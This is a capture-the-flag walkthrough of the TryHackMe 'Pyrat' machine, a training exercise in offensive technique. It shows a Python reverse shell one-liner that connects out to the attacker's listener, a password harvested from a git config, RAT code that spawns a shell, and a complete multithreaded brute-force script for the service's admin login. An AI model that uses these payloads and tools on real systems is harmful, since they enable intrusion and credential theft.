Pyrat - tryhackme, josemlwdf
Test your enumeration skills on this boot-to-root machine.
Pyrat is an Easy room that presents a unique challenge involving a Python-based HTTP server. At first glance, the server’s responses appear unusual, hinting at something more beneath the surface. Through careful testing and fuzzing, I uncover a critical Python code execution! This allows me to gain an initial foothold on the target machine.
Nmap Scan
To begin, I performed an Nmap scan to identify open ports and services running on the target machine. This helps gather crucial information about potential entry points for exploitation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan revealed two open ports.
Port 22 (SSH) Service: OpenSSH 8.2p1 (Ubuntu 4ubuntu0.7) Host Keys: RSA, ECDSA, ED25519 This suggests the system is running Ubuntu Linux, and SSH access might be useful later if valid credentials are found.
Port 8000 (Python HTTP Server) Service:
SimpleHTTP/0.6
running onPython 3.11.2
The server responds with errors indicating that it may be executing Python code directly. The fingerprint-strings output hints at potential command execution vulnerabilities, as it throws Python syntax errors when unexpected input is sent.
When I navigated to http://pyrat.thm:8000
, the server responded with the message:
After this i tried it with curl.
1
2
3
4
5
6
7
8
curl http://pyrat.thm:8000/ -i
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: Wed Feb 12 13:06:14 2025
Content-type: text/html; charset=utf-8
Content-Length: 27
Try a more basic connection
One detail that immediately caught my attention was the server banner. SimpleHTTP/0.6 Python/3.11.2
This indicated that the service was running Python’s built-in HTTP server, but its behavior seemed unusual. The response body remained the same. Try a more basic connection
This message suggested that the server might not be expecting a traditional browser-based request. Instead, it could be handling connections differently—perhaps requiring a raw or simplified client interaction.
netcat
Given the nature of the server, I decided to test it using netcat
(nc) to establish a more direct connection, & confirm whether the server was truly running a Python environment and executing user input dynamically, I conducted a simple test, I entered the following arithmetic operation.
1
2
3
nc pyrat.thm 8000
print(4+4)
8
And sure enough, it returned the expected result, confirming that the server was executing Python code. With this, I realized that Code Execution, meaning i can leverage this to gain a foothold using a Python reverse shell payload.
To construct the Python reverse shell, I used the website RevShells, which provides a variety of pre-generated payloads for different environments. This allowed me to quickly generate a working Python reverse shell.
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
Ensuring a seamless connection back to my listener.
1
2
3
4
5
nc -lvnp 9999
listening on [any] 9999 ...
connect to [XX.XX.XX.XXX] from (UNKNOWN) [XX.XX.XXX.XX] 50544
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ ls
With further digging, I discovered a password hidden within the /opt/dev/.git/config
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@Pyrat:~$ cat /opt/dev/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = [REDACTED]
SSH
Using the extracted password, I successfully established an ssh
connection as the user think.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssh think@pyrat.thm
think@pyrat.thm's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)
System information as of Wed 12 Feb 2025 01:53:03 PM UTC
System load: 0.08 Processes: 133
Usage of /: 46.8% of 9.75GB Users logged in: 0
Memory usage: 49% IPv4 address for eth0: 10.10.186.245
Swap usage: 0%
You have mail.
think@Pyrat:~$ cat user.txt
[REDACTED]
Once inside, I navigated through the system files and captured the user flag, marking the first milestone. However, the root flag was still out of reach, requiring further privilege escalation to gain full control over the machine.
Privilege Escalation
While exploring the user’s mail, I stumbled upon an interesting message that caught my attention. The email referenced a RAT program running on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
think@Pyrat:~$ cat /var/mail/think
From root@pyrat Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page,
i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
Upon inspecting the running processes, I discovered /root/pyrat.py
, which is most likely the RAT program mentioned in the mail.
1
2
root 596 0.0 0.1 2608 596 ? Ss 12:09 0:00 /bin/sh -c python3 /root/pyrat.py 2>/dev/null
root 597 0.0 3.0 21864 14660 ? S 12:09 0:04 python3 /root/pyrat.py
Returning to the Git repository and examining the commit history, I found that only a single commit.
1
2
3
4
5
6
7
think@Pyrat:/opt/dev$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
think@Pyrat:/opt/dev$
Inspecting the changes made in the Git commit, I find a code from what appears to be an earlier version of the pyrat.py
program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
think@Pyrat:/opt/dev$ git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+ if data == 'some_endpoint':
+ get_this_enpoint(client_socket)
+ else:
+ # Check socket is admin and downgrade if is not aprooved
+ uid = os.getuid()
+ if (uid == 0):
+ change_uid()
+
+ if data == 'shell':
+ shell(client_socket)
+ else:
+ exec_python(client_socket, data)
+
+def shell(client_socket):
+ try:
+ import pty
+ os.dup2(client_socket.fileno(), 0)
+ os.dup2(client_socket.fileno(), 1)
+ os.dup2(client_socket.fileno(), 2)
+ pty.spawn("/bin/sh")
+ except Exception as e:
+ send_data(client_socket, e
+
+...............................................
Examining the code snippet & it’s functions.
- Unknown input triggers an admin check; unauthorized sockets get downgraded.
shell
spawns an interactive shell for remote access.- Other inputs run via
exec
, enabling arbitrary code execution.
Knowing this, we can craft a simple script to brute-force valid inputs and passwords using a wordlist.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
import argparse
import threading
from pwn import remote, context
stop_flag = threading.Event()
valid_input = None
def brute_force(target_ip, target_port, wordlist, mode):
"""Brute-force inputs or passwords."""
global valid_input
context.log_level = "error"
for word in wordlist:
if stop_flag.is_set():
return
try:
r = remote(target_ip, target_port, timeout=3)
if mode == "input":
r.sendline(word.encode())
response = r.recvline(timeout=2)
if b'not defined' not in response \
and b'<string>' not in response and response.strip():
valid_input = word
stop_flag.set()
print(f"Valid input found: {word}")
else:
r.sendline(valid_input.encode())
r.recvuntil(b"Password:\n")
r.sendline(word.encode())
response = r.recvline(timeout=2)
if b"shell" in response:
print(f"Password found: {word}")
stop_flag.set()
r.close()
except:
pass
def run_threads(target_ip, target_port, wordlist, mode, num_threads):
"""Run brute-force with multiple threads."""
words = [line.strip() for line in open(wordlist)]
step = (len(words) + num_threads - 1) // num_threads
threads = [threading.Thread(target=brute_force,
args=(target_ip, target_port, words[i * step:(i + 1) \
* step], mode)) for i in range(num_threads)]
for thread in threads: thread.start()
for thread in threads: thread.join()
def main():
parser = argparse.ArgumentParser(description="Multi-threaded Brute-Force Tool")
parser.add_argument("-t", "--target", required=True, help="Target IP")
parser.add_argument("-p", "--port", type=int, required=True, help="Target Port")
parser.add_argument("-u", "--userlist", required=True, help="Input Wordlist")
parser.add_argument("-P", "--passlist", required=True, help="Password Wordlist")
parser.add_argument("-n", "--threads", type=int, default=10, help="Threads")
args = parser.parse_args()
print(f"Target: {args.target}:{args.port}\nStarting input brute-force...")
run_threads(args.target, args.port, args.userlist, "input", args.threads)
if valid_input:
print(f"\nStarting password brute-force for '{valid_input}'...")
stop_flag.clear()
run_threads(args.target, args.port, args.passlist, "password", args.threads)
else:
print("No valid input found.")
if __name__ == "__main__":
main()
Running the script successfully reveals the valid input and password.
1
2
3
4
5
6
7
8
9
10
11
python3 inputpassbrute.py -t pyrat.htb -p 8000 \
-u /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/500-worst-passwords.txt \
-n 100
Target: pyrat.htb:8000
Starting input Bruteforce...
Valid input Found: admin
Starting Password Bruteforce for 'admin'...
Password Found: [REDACTED]
Now, using that valid input & password, i escalate the connection to root.
1
2
3
4
5
6
7
nc pyrat.thm 8000
admin
Password: [REDACTED]
Welcome Admin!!! Type "shell" to begin
shell
cat root.txt
[REDACTED]
After capturing the root flag, I successfully solved the Pyrat room!
Happy hacking !
Here are some resources: